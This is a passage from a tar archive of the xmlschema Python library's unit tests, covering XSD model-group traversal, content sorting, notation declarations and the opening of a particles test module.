<xs:element name="b" /> </xs:all> </xs:complexType> </xs:element> </xs:schema> """)) self.assertIsNone(schema.validate('<root><b/><a/></root>')) self.assertIsNone(schema.validate('<root/>')) self.assertFalse(schema.is_valid('<root><b/></root>')) # # Tests on issues def test_issue_086(self): issue_086_xsd = self.casepath('issues/issue_086/issue_086.xsd') schema = self.schema_class(issue_086_xsd) group = schema.types['Foo'].content # issue_086-1.xml sequence simulation model = ModelVisitor(group) self.assertEqual(model.element, group[0]) self.check_advance_true(model) # <header> matching self.assertEqual(model.element, group[1][0][0]) # 'a' element self.check_advance_true(model) # <a> matching self.assertEqual(model.element, group[1][0][0]) # 'a' element self.check_advance_true(model) # <a> matching self.assertEqual(model.element, group[1][0][0]) # 'a' element self.check_advance_false(model) self.assertEqual(model.element, group[1][0][0]) # 'a' element self.check_advance_false(model) self.assertEqual(model.element, group[1][1][0]) # 'b' element self.check_advance_true(model) # <b> matching self.assertEqual(model.element, group[1][1][0]) # 'b' element self.check_advance_true(model) # <b> matching self.check_advance_false(model) self.assertEqual(model.element, group[1][0][0]) # 'a' element (choice group restarted) self.check_advance_false(model) self.check_advance_false(model) self.assertEqual(model.element, group[1][2][0]) # 'c' element self.check_advance_true(model) # <c> matching self.assertEqual(model.element, group[1][2][0]) # 'c' element self.check_advance_true(model) # <c> matching self.check_stop(model) # issue_086-2.xml sequence simulation model = ModelVisitor(group) self.check_advance_true(model) # <header> matching self.assertEqual(model.element, group[1][0][0]) # 'a' element self.check_advance_false(model) self.assertEqual(model.element, group[1][1][0]) # 'b' element self.check_advance_true(model) # <b> matching self.assertEqual(model.element, group[1][1][0]) # 'b' element self.check_advance_true(model) # <b> matching self.check_advance_false(model) self.assertEqual(model.element, group[1][0][0]) # 'a' element (choice group restarted) self.check_advance_false(model) self.check_advance_false(model) self.assertEqual(model.element, group[1][2][0]) # 'c' element self.check_advance_true(model) # <c> matching self.assertEqual(model.element, group[1][2][0]) # 'c' element self.check_advance_true(model) # <c> matching self.check_advance_false(model) self.assertEqual(model.element, group[1][0][0]) # 'a' element self.check_advance_true(model) # <a> matching self.assertEqual(model.element, group[1][0][0]) # 'a' element self.check_advance_true(model) # <a> matching self.assertEqual(model.element, group[1][0][0]) # 'a' element self.check_stop(model) def test_model_visitor_copy(self): schema = self.schema_class( """<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"> <xs:complexType> <xs:sequence minOccurs="0" maxOccurs="unbounded"> <xs:group ref="group1" minOccurs="2" maxOccurs="unbounded"/> <xs:group ref="group2" minOccurs="0" maxOccurs="unbounded"/> <xs:group ref="group3" maxOccurs="unbounded"/> </xs:sequence> </xs:complexType> </xs:element> <xs:group name="group1"> <xs:choice> <xs:element name="a1" maxOccurs="unbounded"/> <xs:element name="b1"/> <xs:element name="c1"/> </xs:choice> </xs:group> <xs:group name="group2"> <xs:sequence> <xs:element name="a2"/> <xs:element name="b2" maxOccurs="unbounded"/> <xs:element name="c2" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> </xs:group> <xs:group name="group3"> <xs:sequence> <xs:element name="a3" minOccurs="0" maxOccurs="unbounded"/> <xs:element name="b3" maxOccurs="unbounded"/> <xs:element name="c3"/> </xs:sequence> </xs:group> </xs:schema>""") group = schema.elements['root'].type.content model = ModelVisitor(group) self.assertIs(model.element, group[0][0][0]) self.assertEqual(model.element.name, 'a1') self.check_copy_equivalence(model, copy.copy(model)) model = ModelVisitor(group) self.assertIs(model.element, group[0][0][0]) self.assertEqual(model.element.name, 'a1') self.check_advance_true(model) # <a1> matches self.assertEqual(model.element.name, 'a1') self.check_copy_equivalence(model, copy.copy(model)) model = ModelVisitor(group) self.assertIs(model.element, group[0][0][0]) self.assertEqual(model.element.name, 'a1') self.check_advance_true(model) # <a1> matches self.assertEqual(model.element.name, 'a1') self.check_advance_false(model) # <a1> doesn't match self.assertEqual(model.element.name, 'a1') self.check_advance_false(model) # <a1> doesn't match self.assertEqual(model.element.name, 'b1') self.check_advance_true(model) # <b1> matches self.assertEqual(model.element.name, 'a1') self.check_advance_false(model) # <a1> doesn't match self.assertEqual(model.element.name, 'b1') self.check_advance_false(model) # <b1> doesn't match self.assertEqual(model.element.name, 'c1') self.check_advance_false(model) # <c1> doesn't match self.assertEqual(model.element.name, 'a2') self.check_advance_false(model) # <a2> doesn't match self.assertEqual(model.element.name, 'a3') self.check_copy_equivalence(model, copy.copy(model)) model = ModelVisitor(group) self.check_advance_true(model) # <a1> matches self.check_advance_false(model) # <a1> doesn't match self.check_advance_false(model) # <a1> doesn't match self.check_advance_true(model) # <b1> matches self.check_advance_false(model) # <a1> doesn't match self.check_advance_false(model) # <b1> doesn't match self.check_advance_false(model) # <c1> doesn't match self.check_advance_false(model) # <a2> doesn't match self.assertEqual(model.element.name, 'a3') self.check_advance_false(model) # <a3> doesn't match self.assertEqual(model.element.name, 'b3') self.check_advance_true(model) # <b3> matches self.check_advance_false(model) # <b3> doesn't match self.assertEqual(model.element.name, 'c3') self.check_advance_true(model) # <c3> matches self.assertEqual(model.element.name, 'a3') self.check_copy_equivalence(model, copy.copy(model)) def test_model_visitor_copy_nested(self): schema = self.schema_class( """<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"> <xs:complexType> <xs:sequence> <xs:element name="a1"/> <xs:group ref="group1" maxOccurs="unbounded"/> </xs:sequence> </xs:complexType> </xs:element> <xs:group name="group1"> <xs:sequence> <xs:element name="a2"/> <xs:group ref="group2" maxOccurs="unbounded"/> </xs:sequence> </xs:group> <xs:group name="group2"> <xs:sequence> <xs:element name="a3"/> <xs:group ref="group3" maxOccurs="unbounded"/> </xs:sequence> </xs:group> <xs:group name="group3"> <xs:sequence> <xs:element name="b3"/> <xs:element name="c3"/> </xs:sequence> </xs:group> </xs:schema>""") group = schema.elements['root'].type.content model = ModelVisitor(group) self.check_advance_true(model) # <a1> matches self.assertEqual(len(model._groups), 1) self.check_copy_equivalence(model, copy.copy(model)) model = ModelVisitor(group) self.check_advance_true(model) # <a1> matches self.assertEqual(model.element.name, 'a2') self.check_advance_true(model) # <a2> matches self.assertEqual(model.element.name, 'a3') self.assertEqual(len(model._groups), 2) self.check_copy_equivalence(model, copy.copy(model)) model = ModelVisitor(group) self.check_advance_true(model) # <a1> matches self.assertEqual(model.element.name, 'a2') self.check_advance_true(model) # <a2> matches self.assertEqual(model.element.name, 'a3') self.check_advance_true(model) # <a3> matches self.assertEqual(len(model._groups), 3) self.assertEqual(model.element.name, 'b3') self.check_copy_equivalence(model, copy.copy(model)) def test_stoppable_property(self): schema = self.schema_class(dedent( """<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"> <xs:complexType> <xs:sequence minOccurs="0"> <xs:element name="a" /> <xs:element name="b" maxOccurs="2"/> </xs:sequence> </xs:complexType> </xs:element> </xs:schema> """)) self.assertTrue(schema.is_valid('<root/>')) group = schema.elements['root'].type.content model = ModelVisitor(group) self.assertIs(model.element, group[0]) # 'a' element self.assertTrue(model.stoppable) self.check_advance_true(model) # <a> matching self.assertEqual(model.element, group[1]) # 'b' element self.assertFalse(model.stoppable) self.check_advance_true(model) # <b> matching self.assertTrue(model.stoppable) def test_particle_occurs_check_methods(self): schema = self.schema_class(dedent( """<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"> <xs:complexType> <xs:sequence minOccurs="0"> <xs:element name="a" /> <xs:element name="b" maxOccurs="2"/> </xs:sequence> </xs:complexType> </xs:element> </xs:schema> """)) group = schema.elements['root'].type.content a, b = group[:] model = ModelVisitor(group) for xsd_element in group: self.assertTrue(model.is_missing(xsd_element)) self.assertFalse(model.is_over(xsd_element)) self.assertFalse(model.is_exceeded(xsd_element)) self.assertIs(model.element, a) self.assertTrue(model.is_missing()) self.assertFalse(model.is_over()) self.assertFalse(model.is_exceeded()) self.check_advance_true(model) self.assertIs(model.element, b) self.assertTrue(model.is_missing()) self.assertFalse(model.is_over()) self.assertFalse(model.is_exceeded()) self.assertFalse(model.is_missing(a)) self.assertTrue(model.is_over(a)) self.assertFalse(model.is_exceeded(a)) self.check_advance_true(model) self.assertIs(model.element, b) self.assertFalse(model.is_missing()) self.assertFalse(model.is_over()) self.assertFalse(model.is_exceeded()) self.check_advance_true(model) self.assertIsNone(model.element) self.assertRaises(ValueError, model.is_missing) self.assertRaises(ValueError, model.is_over) self.assertRaises(ValueError, model.is_exceeded) def test_get_model_particle(self): schema = self.schema_class(dedent( """<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"> <xs:complexType> <xs:choice> <xs:group ref="top"/> <xs:element name="c" minOccurs="1"/> </xs:choice> </xs:complexType> </xs:element> <xs:element name="b"/> <xs:group name="top"> <xs:sequence> <xs:element name="a" minOccurs="0"/> <xs:element ref="b" minOccurs="0" maxOccurs="2"/> </xs:sequence> </xs:group> </xs:schema> """)) group = schema.elements['root'].type.content top, c = group[:] a, b = schema.groups['top'] model = ModelVisitor(group) self.assertIs(model.get_model_particle(a), a) self.assertIs(model.get_model_particle(b), b) self.assertIs(model.get_model_particle(c), c) self.assertIs(model.get_model_particle(top), top) # Global model groups head declaration doesn't belong to any concrete model with self.assertRaises(XMLSchemaModelError) as ctx: model.get_model_particle(b.ref) self.assertIn("not a particle of the model group", str(ctx.exception)) with self.assertRaises(XMLSchemaModelError) as ctx: model.get_model_particle(top.ref) self.assertIn("not a particle of the model group", str(ctx.exception)) self.assertIs(model.get_model_particle(), model.element) self.assertListEqual(list(model.stop()), []) with self.assertRaises(XMLSchemaValueError) as ctx: model.get_model_particle() self.assertIn("can't defaults to current element", str(ctx.exception)) def test_model_occurs_check_methods(self): schema = self.schema_class(dedent( """<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"> <xs:complexType> <xs:sequence maxOccurs="25"> <xs:element name="a" minOccurs="0"/> <xs:element name="b" maxOccurs="2"/> <xs:element name="c" minOccurs="4" maxOccurs="unbounded"/> </xs:sequence> </xs:complexType> </xs:element> </xs:schema> """)) group = schema.elements['root'].type.content a, b, c = group[:] model = ModelVisitor(group) self.assertEqual(model.overall_min_occurs(a), 0) self.assertEqual(model.overall_min_occurs(b), 1) self.assertEqual(model.overall_min_occurs(c), 4) self.assertEqual(model.overall_max_occurs(a), 25) self.assertEqual(model.overall_max_occurs(b), 50) self.assertIsNone(model.overall_max_occurs(c)) self.assertTrue(model.is_optional(a)) self.assertFalse(model.is_optional(b)) self.assertFalse(model.is_optional(c)) self.assertIs(model.element, a) self.assertListEqual(list(model.advance(True)), []) self.assertIs(model.element, b) self.assertListEqual(list(model.advance(True)), []) self.assertIs(model.element, b) self.assertListEqual(list(model.advance(False)), []) self.assertIs(model.element, c) self.assertListEqual(list(model.advance(True)), []) self.assertEqual(model.overall_min_occurs(a), 0) self.assertEqual(model.overall_min_occurs(b), 0) self.assertEqual(model.overall_min_occurs(c), 3) self.assertEqual(model.overall_max_occurs(a), 24) self.assertEqual(model.overall_max_occurs(b), 49) self.assertIsNone(model.overall_max_occurs(c)) self.assertTrue(model.is_optional(a)) self.assertTrue(model.is_optional(b)) self.assertFalse(model.is_optional(c)) schema = self.schema_class(dedent( """<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"> <xs:complexType> <xs:choice maxOccurs="10"> <xs:group ref="top" maxOccurs="25"/> <xs:element name="d" minOccurs="1"/> </xs:choice> </xs:complexType> </xs:element> <xs:group name="top"> <xs:sequence> <xs:element name="a" minOccurs="0"/> <xs:element name="b" maxOccurs="2"/> <xs:element name="c" minOccurs="4" maxOccurs="unbounded"/> </xs:sequence> </xs:group> </xs:schema> """)) group = schema.elements['root'].type.content top, d = group[:] a, b, c = schema.groups['top'] model = ModelVisitor(group) self.assertEqual(model.overall_min_occurs(a), 0) self.assertEqual(model.overall_min_occurs(b), 0) self.assertEqual(model.overall_min_occurs(c), 0) self.assertEqual(model.overall_min_occurs(top), 0) self.assertEqual(model.overall_min_occurs(d), 0) self.assertEqual(model.overall_max_occurs(a), 250) self.assertEqual(model.overall_max_occurs(b), 500) self.assertIsNone(model.overall_max_occurs(c)) self.assertEqual(model.overall_max_occurs(top), 250) self.assertEqual(model.overall_max_occurs(d), 10) self.assertIs(model.element, a) self.assertListEqual(list(model.advance(False)), []) self.assertIs(model.element, b) self.assertListEqual(list(model.advance_until('d')), []) self.assertIs(model.element, a) self.assertEqual(model.overall_min_occurs(a), 0) self.assertEqual(model.overall_min_occurs(b), 0) self.assertEqual(model.overall_min_occurs(c), 0) self.assertEqual(model.overall_min_occurs(top), 0) self.assertEqual(model.overall_min_occurs(d), 0) self.assertEqual(model.overall_max_occurs(a), 225) self.assertEqual(model.overall_max_occurs(b), 450) self.assertIsNone(model.overall_max_occurs(c)) self.assertEqual(model.overall_max_occurs(top), 225) self.assertEqual(model.overall_max_occurs(d), 9) def test_check_following(self): schema = self.schema_class(dedent( """<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"> <xs:complexType> <xs:sequence> <xs:element name="a" minOccurs="0"/> <xs:element name="b" minOccurs="3" maxOccurs="8"/> <xs:element name="c" minOccurs="2" maxOccurs="unbounded"/> <xs:element name="d"/> </xs:sequence> </xs:complexType> </xs:element> </xs:schema> """)) group = schema.elements['root'].type.content a, b, c, d = group model = ModelVisitor(group) self.assertTrue(model.check_following(a)) self.assertTrue(model.check_following(b)) self.assertTrue(model.check_following((a, 1), b.name)) self.assertFalse(model.check_following(c)) self.assertFalse(model.check_following(d)) def test_advance_smart_methods(self): schema = self.schema_class(dedent( """<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"> <xs:complexType> <xs:sequence> <xs:element name="a" minOccurs="0"/> <xs:element name="b" minOccurs="3" maxOccurs="8"/> <xs:element name="c" minOccurs="2" maxOccurs="unbounded"/> <xs:element name="d"/> </xs:sequence> </xs:complexType> </xs:element> </xs:schema> """)) group = schema.elements['root'].type.content a, b, c, d = group model = group.get_model_visitor() self.assertIs(model.element, a) self.assertFalse(model.advance_safe(c.name)) self.assertIs(model.element, a) self.assertTrue(model.advance_safe(a.name, b.name, b.name, b.name, c.name)) self.assertIs(model.element, c) model = group.get_model_visitor() self.assertIs(model.element, a) self.assertTrue(list(model.advance_until(c.name))) self.assertIs(model.element, c) model.restart() self.assertIs(model.element, a) self.assertListEqual(list(model.advance_until(b.name)), []) class TestModelValidation11(TestModelValidation): schema_class = XMLSchema11 def test_all_model_with_wildcard(self): schema = self.schema_class( """<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"> <xs:complexType> <xs:all> <xs:element name="a" type="xs:string" /> <xs:any maxOccurs="3" processContents="lax" /> </xs:all> </xs:complexType> </xs:element> </xs:schema> """) xml_data = """ <root> <wildcard1/> <a>1</a> <wildcard2/> <wildcard3/> </root> """ self.assertIsNone(schema.validate(xml_data)) def test_all_model_with_extended_occurs(self): schema = self.schema_class( """<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"> <xs:complexType> <xs:all> <xs:element name="a" minOccurs="0" maxOccurs="5"/> <xs:element name="b" maxOccurs="5"/> <xs:element name="c" minOccurs="2" maxOccurs="5"/> <xs:element name="d" /> </xs:all> </xs:complexType> </xs:element> </xs:schema> """) xml_data = '<root><a/><b/><d/><c/><a/><c/></root>' self.assertIsNone(schema.validate(xml_data)) def test_all_model_with_relaxed_occurs(self): schema = self.schema_class( """<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"> <xs:complexType> <xs:all> <xs:element name="a" minOccurs="0" maxOccurs="5"/> <xs:element name="b" maxOccurs="5"/> <xs:element name="c" minOccurs="2" maxOccurs="unbounded"/> <xs:element name="d" /> </xs:all> </xs:complexType> </xs:element> </xs:schema> """) xml_data = '<root><a/><b/><d/><c/><a/><c/><c/><a/><a/><b/></root>' self.assertIsNone(schema.validate(xml_data)) schema = self.schema_class( """<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"> <xs:complexType> <xs:all> <xs:element name="a" minOccurs="0" maxOccurs="5"/> <xs:group ref="group1"/> </xs:all> </xs:complexType> </xs:element> <xs:group name="group1"> <xs:all> <xs:element name="b" maxOccurs="5"/> <xs:element name="c" minOccurs="2" maxOccurs="unbounded"/> <xs:element name="d" /> </xs:all> </xs:group> </xs:schema> """) self.assertIsNone(schema.validate(xml_data)) class TestModelBasedSorting(XsdValidatorTestCase): cases_dir = pathlib.Path(__file__).parent.joinpath('../test_cases') def test_sort_content(self): # test of ModelVisitor's sort_content/iter_unordered_content schema = self.get_schema(""" <xs:element name="A" type="A_type" /> <xs:complexType name="A_type"> <xs:sequence> <xs:element name="B1" type="xs:string"/> <xs:element name="B2" type="xs:integer"/> <xs:element name="B3" type="xs:boolean"/> </xs:sequence> </xs:complexType> """) group = schema.types['A_type'].content self.assertListEqual( sort_content([('B2', 10), ('B1', 'abc'), ('B3', True)], group), [('B1', 'abc'), ('B2', 10), ('B3', True)] ) self.assertListEqual( sort_content([('B3', True), ('B2', 10), ('B1', 'abc')], group), [('B1', 'abc'), ('B2', 10), ('B3', True)] ) self.assertListEqual( sort_content([('B2', 10), ('B4', None), ('B1', 'abc'), ('B3', True)], group), [('B1', 'abc'), ('B2', 10), ('B3', True), ('B4', None)] ) content = [('B2', 10), ('B4', None), ('B1', 'abc'), (1, 'hello'), ('B3', True)] self.assertListEqual( sort_content(content, group), [(1, 'hello'), ('B1', 'abc'), ('B2', 10), ('B3', True), ('B4', None)] ) content = [ (2, 'world!'), ('B2', 10), ('B4', None), ('B1', 'abc'), (1, 'hello'), ('B3', True) ] self.assertListEqual( sort_content(content, group), [(1, 'hello'), ('B1', 'abc'), (2, 'world!'), ('B2', 10), ('B3', True), ('B4', None)] ) content = [ ('B2', 10), ('B4', None), ('B1', 'abc'), ('B3', True), (6, 'six'), (5, 'five'), (4, 'four'), (2, 'two'), (3, 'three'), (1, 'one') ] self.assertListEqual( sort_content(content, group), [(1, 'one'), ('B1', 'abc'), (2, 'two'), ('B2', 10), (3, 'three'), ('B3', True), (4, 'four'), ('B4', None), (5, 'five'), (6, 'six')] ) # With a dict-type argument content = dict([('B2', [10]), ('B1', ['abc']), ('B3', [True])]) self.assertListEqual( sort_content(content, group), [('B1', 'abc'), ('B2', 10), ('B3', True)] ) content = dict([('B2', [10]), ('B1', ['abc']), ('B3', [True]), (1, 'hello')]) self.assertListEqual( sort_content(content, group), [(1, 'hello'), ('B1', 'abc'), ('B2', 10), ('B3', True)] ) # With partial content self.assertListEqual(sort_content([], group), []) self.assertListEqual(sort_content([('B1', 'abc')], group), [('B1', 'abc')]) self.assertListEqual(sort_content([('B2', 10)], group), [('B2', 10)]) self.assertListEqual(sort_content([('B3', True)], group), [('B3', True)]) self.assertListEqual( sort_content([('B3', True), ('B1', 'abc')], group), [('B1', 'abc'), ('B3', True)] ) self.assertListEqual( sort_content([('B2', 10), ('B1', 'abc')], group), [('B1', 'abc'), ('B2', 10)] ) self.assertListEqual( sort_content([('B3', True), ('B2', 10)], group), [('B2', 10), ('B3', True)] ) def test_iter_collapsed_content_with_optional_elements(self): schema = self.get_schema(""" <xs:element name="A" type="A_type" /> <xs:complexType name="A_type"> <xs:sequence> <xs:element name="B1" minOccurs="0" /> <xs:element name="B2" minOccurs="0" /> <xs:element name="B3" /> <xs:element name="B4" /> <xs:element name="B5" /> <xs:element name="B6" minOccurs="0" /> <xs:element name="B7" /> </xs:sequence> </xs:complexType> """) group = schema.types['A_type'].content content = [('B3', 10), ('B4', None), ('B5', True), ('B6', 'alpha'), ('B7', 20)] self.assertListEqual( list(iter_collapsed_content(content, group)), content ) content = [('B3', 10), ('B5', True), ('B6', 'alpha'), ('B7', 20)] # Missing B4 self.assertListEqual( list(iter_collapsed_content(content, group)), content ) def test_iter_collapsed_content_with_repeated_elements(self): schema = self.get_schema(""" <xs:element name="A" type="A_type" /> <xs:complexType name="A_type"> <xs:sequence> <xs:element name="B1" minOccurs="0" /> <xs:element name="B2" minOccurs="0" maxOccurs="unbounded" /> <xs:element name="B3" maxOccurs="unbounded" /> <xs:element name="B4" /> <xs:element name="B5" maxOccurs="unbounded" /> <xs:element name="B6" minOccurs="0" /> <xs:element name="B7" maxOccurs="unbounded" /> </xs:sequence> </xs:complexType> """) group = schema.types['A_type'].content content = [ ('B3', 10), ('B4', None), ('B5', True), ('B5', False), ('B6', 'alpha'), ('B7', 20) ] self.assertListEqual(list(iter_collapsed_content(content, group)), content) content = [('B3', 10), ('B3', 11), ('B3', 12), ('B4', None), ('B5', True), ('B5', False), ('B6', 'alpha'), ('B7', 20), ('B7', 30)] self.assertListEqual(list(iter_collapsed_content(content, group)), content) content = [('B3', 10), ('B3', 11), ('B3', 12), ('B4', None), ('B5', True), ('B5', False)] self.assertListEqual(list(iter_collapsed_content(content, group)), content) def test_iter_collapsed_content_with_repeated_groups(self): schema = self.get_schema(""" <xs:element name="A" type="A_type" /> <xs:complexType name="A_type"> <xs:sequence minOccurs="1" maxOccurs="2"> <xs:element name="B1" minOccurs="0" /> <xs:element name="B2" minOccurs="0" /> </xs:sequence> </xs:complexType> """) group = schema.types['A_type'].content content = [('B1', 1), ('B1', 2), ('B2', 3), ('B2', 4)] self.assertListEqual( list(iter_collapsed_content(content, group)), [('B1', 1), ('B2', 3), ('B1', 2), ('B2', 4)] ) # Model broken by unknown element at start content = [('X', None), ('B1', 1), ('B1', 2), ('B2', 3), ('B2', 4)] self.assertListEqual(list(iter_collapsed_content(content, group)), content) content = [('B1', 1), ('X', None), ('B1', 2), ('B2', 3), ('B2', 4)] self.assertListEqual(list(iter_collapsed_content(content, group)), content) content = [('B1', 1), ('B1', 2), ('X', None), ('B2', 3), ('B2', 4)] self.assertListEqual(list(iter_collapsed_content(content, group)), content) content = [('B1', 1), ('B1', 2), ('B2', 3), ('X', None), ('B2', 4)] self.assertListEqual( list(iter_collapsed_content(content, group)), [('B1', 1), ('B2', 3), ('B1', 2), ('X', None), ('B2', 4)] ) content = [('B1', 1), ('B1', 2), ('B2', 3), ('B2', 4), ('X', None)] self.assertListEqual( list(iter_collapsed_content(content, group)), [('B1', 1), ('B2', 3), ('B1', 2), ('B2', 4), ('X', None)] ) def test_iter_collapsed_content_with_single_elements(self): schema = self.get_schema(""" <xs:element name="A" type="A_type" /> <xs:complexType name="A_type"> <xs:sequence> <xs:element name="B1" /> <xs:element name="B2" /> <xs:element name="B3" /> </xs:sequence> </xs:complexType> """) group = schema.types['A_type'].content content = [('B1', 'abc'), ('B2', 10), ('B3', False)] self.assertListEqual(list(iter_collapsed_content(content, group)), content) content = [('B3', False), ('B1', 'abc'), ('B2', 10)] self.assertListEqual(list(iter_collapsed_content(content, group)), content) content = [('B1', 'abc'), ('B3', False), ('B2', 10)] self.assertListEqual(list(iter_collapsed_content(content, group)), content) content = [('B1', 'abc'), ('B1', 'def'), ('B2', 10), ('B3', False)] self.assertListEqual( list(iter_collapsed_content(content, group)), [('B1', 'abc'), ('B2', 10), ('B3', False), ('B1', 'def')] ) content = [('B1', 'abc'), ('B2', 10), ('X', None)] self.assertListEqual(list(iter_collapsed_content(content, group)), content) content = [('X', None), ('B1', 'abc'), ('B2', 10), ('B3', False)] self.assertListEqual(list(iter_collapsed_content(content, group)), content) class TestModelPaths(unittest.TestCase): def test_distinguishable_paths_one_level(self): group = ModelGroup('sequence', min_occurs=0) group.append(ModelGroup('sequence')) group.append(ModelGroup('sequence')) group[0].append(ParticleMixin()) group[1].append(ParticleMixin()) path1 = [group[0]] path2 = [group[1]] self.assertTrue(distinguishable_paths(path1, path2)) # Disjoined paths self.assertTrue(distinguishable_paths(path1, [])) with self.assertRaises(IndexError): distinguishable_paths([], path2) # path1 cannot be empty path1 = [group, group[0]] path2 = [group, group[1]] self.assertTrue(distinguishable_paths(path1, path2)) group[0].min_occurs = 0 self.assertFalse(distinguishable_paths(path1, path2)) group.max_occurs = 0 self.assertTrue(distinguishable_paths(path1, path2)) def test_distinguishable_paths_two_levels(self): group = ModelGroup('sequence', min_occurs=0) group.append(ModelGroup('choice')) group.append(ModelGroup('choice')) group[0].append(ParticleMixin()) group[0].append(ParticleMixin()) group[1].append(ParticleMixin()) group[1].append(ParticleMixin()) path1 = [group, group[0], group[0][0]] path2 = [group, group[1], group[1][0]] self.assertTrue(distinguishable_paths(path1, path2)) # All univocal subgroups group[0].max_occurs = 2 self.assertFalse(distinguishable_paths(path1, path2)) group[0].max_occurs = 1 group[0].min_occurs = 0 self.assertFalse(distinguishable_paths(path1, path2)) group.max_occurs = None self.assertFalse(distinguishable_paths(path1, path2)) def test_distinguishable_paths_three_levels(self): group = ModelGroup('sequence', min_occurs=0) group.append(ModelGroup('choice')) group.append(ModelGroup('choice')) group[0].append(ModelGroup('choice')) group[1].append(ModelGroup('choice')) group[0][0].append(ParticleMixin()) group[0][0].append(ParticleMixin()) group[1][0].append(ParticleMixin()) group[1][0].append(ParticleMixin()) path1 = [group, group[0], group[0][0], group[0][0][0]] path2 = [group, group[1], group[1][0], group[1][0][0]] self.assertTrue(distinguishable_paths(path1, path2)) # All univocal subgroups group[0][0][1].min_occurs = 0 self.assertFalse(distinguishable_paths(path1, path2)) # All univocal subgroups if __name__ == '__main__': from xmlschema.testing import run_xmlschema_tests run_xmlschema_tests('XSD model groups') ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/validators/test_notations.py��������������������������������������������������0000664�0000000�0000000�00000006320�15020401055�0022427�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python # # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # import unittest from xml.etree import ElementTree from xmlschema import XMLSchemaParseError from xmlschema.names import XSD_NOTATION from xmlschema.validators import XMLSchema10, XMLSchema11, XsdNotation class TestXsd10Notations(unittest.TestCase): schema_class = XMLSchema10 def test_parse(self): schema = self.schema_class(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:notation name="content" public="text/html"/> </xs:schema>""") self.assertIn('content', schema.notations) with self.assertRaises(XMLSchemaParseError) as ctx: self.schema_class(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:notation name="content"/> </xs:schema>""") self.assertIn("notation must have a 'public' or a 'system' attribute", str(ctx.exception)) with self.assertRaises(XMLSchemaParseError) as ctx: self.schema_class(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:notation public="text/html"/> </xs:schema>""") self.assertEqual("missing required attribute 'name'", ctx.exception.message) schema = self.schema_class(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:notation public="text/html"/> </xs:schema>""", validation='skip') self.assertListEqual(schema.all_errors, []) schema = self.schema_class(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:notation public="text/html"/> </xs:schema>""", validation='lax') self.assertEqual(len(schema.all_errors), 2) schema = self.schema_class(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:complexType name="emptyType"/> </xs:schema>""") elem = ElementTree.Element(XSD_NOTATION) with self.assertRaises(XMLSchemaParseError) as ctx: XsdNotation(elem, schema, parent=schema.types['emptyType']) self.assertIn("a notation declaration must be global", str(ctx.exception)) with self.assertRaises(XMLSchemaParseError) as ctx: XsdNotation(elem, schema, parent=None) self.assertIn("a notation must have a 'name' attribute", str(ctx.exception)) def test_properties(self): schema = self.schema_class(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:notation name="style" public="text/css" system="style.css"/> </xs:schema>""") self.assertEqual(schema.notations['style'].public, "text/css") self.assertEqual(schema.notations['style'].system, "style.css") class TestXsd11Notations(unittest.TestCase): schema_class = XMLSchema11 if __name__ == '__main__': from xmlschema.testing import run_xmlschema_tests run_xmlschema_tests('XSD notations') ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/validators/test_particles.py��������������������������������������������������0000664�0000000�0000000�00000037767�15020401055�0022422�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python # # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # import os import unittest from collections import Counter from textwrap import dedent from xml.etree import ElementTree from xmlschema import XMLSchema10, XMLSchema11, XMLSchemaParseError, XMLSchemaModelError from xmlschema.validators.particles import ParticleMixin, OccursCalculator CASES_DIR = os.path.join(os.path.dirname(__file__), '../test_cases') class 